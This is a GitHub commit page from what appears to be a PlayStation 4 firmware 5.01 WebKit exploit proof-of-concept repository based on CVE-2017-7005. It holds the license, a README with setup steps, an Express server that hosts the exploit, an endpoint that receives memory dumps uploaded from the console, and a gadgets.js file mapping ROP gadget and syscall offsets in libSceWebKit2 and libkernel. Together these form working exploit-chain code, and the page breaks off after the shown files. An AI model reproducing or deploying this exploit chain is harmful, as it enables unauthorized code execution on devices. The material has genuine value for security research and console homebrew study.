Skip to content
This repository has been archived by the owner on May 7, 2019. It is now read-only.

Commit

Permalink
First commit
Browse files Browse the repository at this point in the history
  • Loading branch information
ALEXZZZ9 committed Feb 27, 2018
1 parent 3ae6503 commit bf295a8
Show file tree
Hide file tree
Showing 17 changed files with 1,733 additions and 21 deletions.
11 changes: 11 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
.DS_Store
*.swp
*.swo
.env
.idea
.vscode

node_modules
npm-debug.*

start.bat
21 changes: 0 additions & 21 deletions LICENSE

This file was deleted.

22 changes: 22 additions & 0 deletions LICENSE.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
PS4 5.01 WebKit Exploit PoC is licensed under the MIT License
---
>A short and simple permissive license with conditions only requiring preservation of copyright and license notices. Licensed works, modifications, and larger works may be distributed under different terms and without source code.
| Permissions | Conditions | Limitations |
| ------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- |
| [](# "This software and derivatives may be used for commercial purposes.") Commercial use | [](# "Include a copy of the license and copyright notice with the software.") License and copyright notice | [](# "This license includes a limitation of liability.") Liability |
| [](# "This software may be modified.") Modification | | [](# "The license explicitly states that it does NOT provide any warranty.") Warranty |
| [](# "You may distribute this software.") Distribution | | |
| [](# "You may use and modify the software without distributing it.") Private use | | |

License
---
>The MIT License (MIT)
>
>Copyright (c) 2018 ALEXZZZ9
>
>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
>
>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
>
>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
26 changes: 26 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
PS4 5.01 WebKit Exploit PoC
===========================
Based on:
- [CVE-2017-7005](https://bugs.chromium.org/p/project-zero/issues/detail?id=1208)
- [PegaSwitch](https://github.com/reswitched/pegaswitch) ([Copyright 2017 ReSwitched Team](https://github.com/reswitched/pegaswitch/blob/master/LICENSE.md))
- 4.0x exploit by [qwertyoruiopz](https://twitter.com/qwertyoruiopz)


> This exploit supports 5.01 (maybe others)!
Installation
============

1. Install the latest version of node from [nodejs.org](https://nodejs.org)
2. Clone this repository
3. Run `npm install`

Usage
=====

1. Run `npm start`

License
=======

MIT License. See attached `LICENSE.md` file.
105 changes: 105 additions & 0 deletions app.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
const fs = require('fs');
const mkdirp = require('mkdirp');
const express = require('express');
const logger = require('morgan');
const bodyParser = require('body-parser');
const serveIndex = require('serve-index');
const serveStatic = require('serve-static');
const contentDisposition = require('content-disposition');
const path = require('path');
const freshUp = require('fresh-up');

const app = express();

const port = 80;
const hourMs = 0; // 1000 * 60 * 60;

const ExcludeErrorsID = [404];

const root = path.join(__dirname/*process.cwd()*/, 'data');
const wwwRoot = root; // path.join(root, 'www');
const jssRoot = root; // path.join(root, 'www');
const jssExt = '.jss';
const sendJssErrors = true;


/** Middlewares */
//app.use(logger('dev'));
app.use(bodyParser.urlencoded({ extended: true }));

/** Query */
app.use((req, res, next) => {
req.q = (req.method === 'GET') ? req.query : req.body;
next();
});

/** JSS server */
app.use((req, res, next) => {
let filePath;

const potentialIndexFile = path.resolve(jssRoot, `.${req.path}`, `./index${jssExt}`);

if (req.path.endsWith(jssExt)) {
filePath = path.resolve(jssRoot, `.${req.path}`);
} else if (fs.existsSync(potentialIndexFile)) {
filePath = potentialIndexFile;
} else {
return next();
}


if (!fs.existsSync(filePath)) {
return next(NewError(`Not Found URL: ${req.url}`, 404));
}

try {
require(filePath)(req, res); // eslint-disable-line import/no-dynamic-require
} catch (e) {
freshUp(require.resolve(filePath));

if (sendJssErrors) {
return res.status(500).send(`<pre>${e.stack}</pre>`);
} else {
return next(NewError('Server error', 500));
}
}

freshUp(require.resolve(filePath));

return undefined;
});

/** Static server */
app.use(serveIndex(wwwRoot, {'icons': true}))
app.use(serveStatic(wwwRoot, { maxAge: hourMs, 'index': false }));

/** Errors */
app.use((req, res, next) => {
return ReturnFormatError(res, NewError(`Not Found URL: ${req.url}`, 404));
});
app.use((err, req, res, next) => {
return ReturnFormatError(res, err);
});

/** Listen */
app.listen(port, () => {
console.log('Server listening on port ' + port);
});

/** Helpers */
function NewError (message, code = 500, data = null) {
let err = new Error(message);
err.code = code;
if (data !== null) err.data = data;
return err;
};

function ReturnFormatError(res, error) {
if (!ExcludeErrorsID.includes(error.code)) console.error(error.message);
if (!error.code || error.code === 500) return res.status(500).json({status: 500, error: 'Server error'});

let jError = {status: error.code, error: error.message};
if (error.data) jError['data'] = error.data;

return res.status(error.code).json(jError);
};
34 changes: 34 additions & 0 deletions data/dump.jss
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
const path = require('path');
const fs = require('fs');
const mkdirp = require('mkdirp');

module.exports = function(req, res) {
let writeContinue = req.get('Write-Continue') === 'true';
let fileName = req.get('Content-Disposition') || 'dump.bin';
let filePath = __dirname + '/dumps/' + fileName;
let dir = path.dirname(filePath);

console.log(`Dumping to ${filePath}`);

try {
fs.statSync(dir);
} catch (e) {
mkdirp.sync(dir);
}

if (!writeContinue && fs.existsSync(filePath)) {
fs.unlinkSync(filePath);
}

req.pipe(fs.createWriteStream(filePath, {
defaultEncoding: 'binary',
flags: 'a'
}));

req.on('end', function() {
console.log(`Dump done`);
return res.sendStatus(200);
});
}


63 changes: 63 additions & 0 deletions data/gadgets.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
/* For storing the gadget and import map */
window.gadgetMap = [];
window.basicImportMap = [];

/* Simply adds given offset to given module's base address */
function getGadget(moduleName, offset) {
return add2(window.ECore.moduleBaseAddresses[moduleName], offset);
}

/* All function stubs / imports from other modules */
var generateBasicImportMap = function() {
window.basicImportMap = {
'5.01': {
'setjmp': getGadget('libSceWebKit2', 0x14F8), // setjmp imported from libkernel
'__stack_chk_fail_ptr': getGadget('libSceWebKit2', 0x384BA40), // pointer to pointer to stack_chk_fail imported from libkernel -> look at epilogs to find this
"sceKernelLoadStartModule": getGadget('libkernel', 0x31470), // dump libkernel using the stack_chk_fail pointer to find base, then look for _sceKernelLoadStartModule
}
};
}

/* All gadgets from the binary of available modules */
var generateGadgetMap = function() {
window.gadgetMap = {
'5.01': {
'pop rsi': getGadget('libSceWebKit2', 0x0008f38a), // 0x000000000008f38a : pop rsi ; ret // 5ec3
'pop rdi': getGadget('libSceWebKit2', 0x00038dba), // pop rdi ; ret
'pop rax': getGadget('libSceWebKit2', 0x000043f5), // pop rax ; ret
'pop rcx': getGadget('libSceWebKit2', 0x00052e59), // pop rcx ; ret
'pop rdx': getGadget('libSceWebKit2', 0x000dedc2), // pop rdx ; ret
'pop r8': getGadget('libSceWebKit2', 0x000179c5), // pop r8 ; ret
'pop r9': getGadget('libSceWebKit2', 0x00bb30cf), // pop r9 ; ret
'pop rsp': getGadget('libSceWebKit2', 0x0001e687), // pop rsp ; ret
'push rax': getGadget('libSceWebKit2', 0x0017778e), // push rax ; ret ;
'mov rax, rdi': getGadget('libSceWebKit2', 0x000058d0), // mov rax, rdi ; ret
'mov rax, rdx': getGadget('libSceWebKit2', 0x001cee60), // 0x00000000001cee60 : mov rax, rdx ; ret // 4889d0c3
'add rax, rcx': getGadget('libSceWebKit2', 0x00015172), // add rax, rcx ; ret
'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x0014536b), // mov qword ptr [rdi], rax ; ret
'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x00023ac2), // mov qword ptr [rdi], rsi ; ret
'mov rax, qword ptr [rax]': getGadget('libSceWebKit2', 0x0006c83a), // mov rax, qword ptr [rax] ; ret
'ret': getGadget('libSceWebKit2', 0x0000003c), // ret ;
'nop': getGadget('libSceWebKit2', 0x00002f8f), // 0x0000000000002f8f : nop ; ret // 90c3

'syscall': getGadget('libSceWebKit2', 0x2264DBC), // syscall ; ret

'jmp rax': getGadget('libSceWebKit2', 0x00000082), // jmp rax ;
'jmp r8': getGadget('libSceWebKit2', 0x00201860), // jmp r8 ;
'jmp r9': getGadget('libSceWebKit2', 0x001ce976), // jmp r9 ;
'jmp r11': getGadget('libSceWebKit2', 0x0017e73a), // jmp r11 ;
'jmp r15': getGadget('libSceWebKit2', 0x002f9f6d), // jmp r15 ;
'jmp rbp': getGadget('libSceWebKit2', 0x001fb8bd), // jmp rbp ;
'jmp rbx': getGadget('libSceWebKit2', 0x00039bd2), // jmp rbx ;
'jmp rcx': getGadget('libSceWebKit2', 0x0000dee3), // jmp rcx ;
'jmp rdi': getGadget('libSceWebKit2', 0x000b479c), // jmp rdi ;
'jmp rdx': getGadget('libSceWebKit2', 0x0000e3d0), // jmp rdx ;
'jmp rsi': getGadget('libSceWebKit2', 0x0002e004), // jmp rsi ;
'jmp rsp': getGadget('libSceWebKit2', 0x0029e6ad), // jmp rsp ;

// 0x013d1a00 : mov rdi, qword ptr [rdi] ; mov rax, qword ptr [rdi] ; mov rax, qword ptr [rax] ; jmp rax // 488b3f488b07488b00ffe0
// 0x00d65230: mov rdi, qword [rdi+0x18] ; mov rax, qword [rdi] ; mov rax, qword [rax+0x58] ; jmp rax ; // 48 8B 7F 18 48 8B 07 48 8B 40 58 FF E0
'jmp addr': getGadget('libSceWebKit2', 0x00d65230),
}
};
}
Loading

0 comments on commit bf295a8

Please sign in to comment.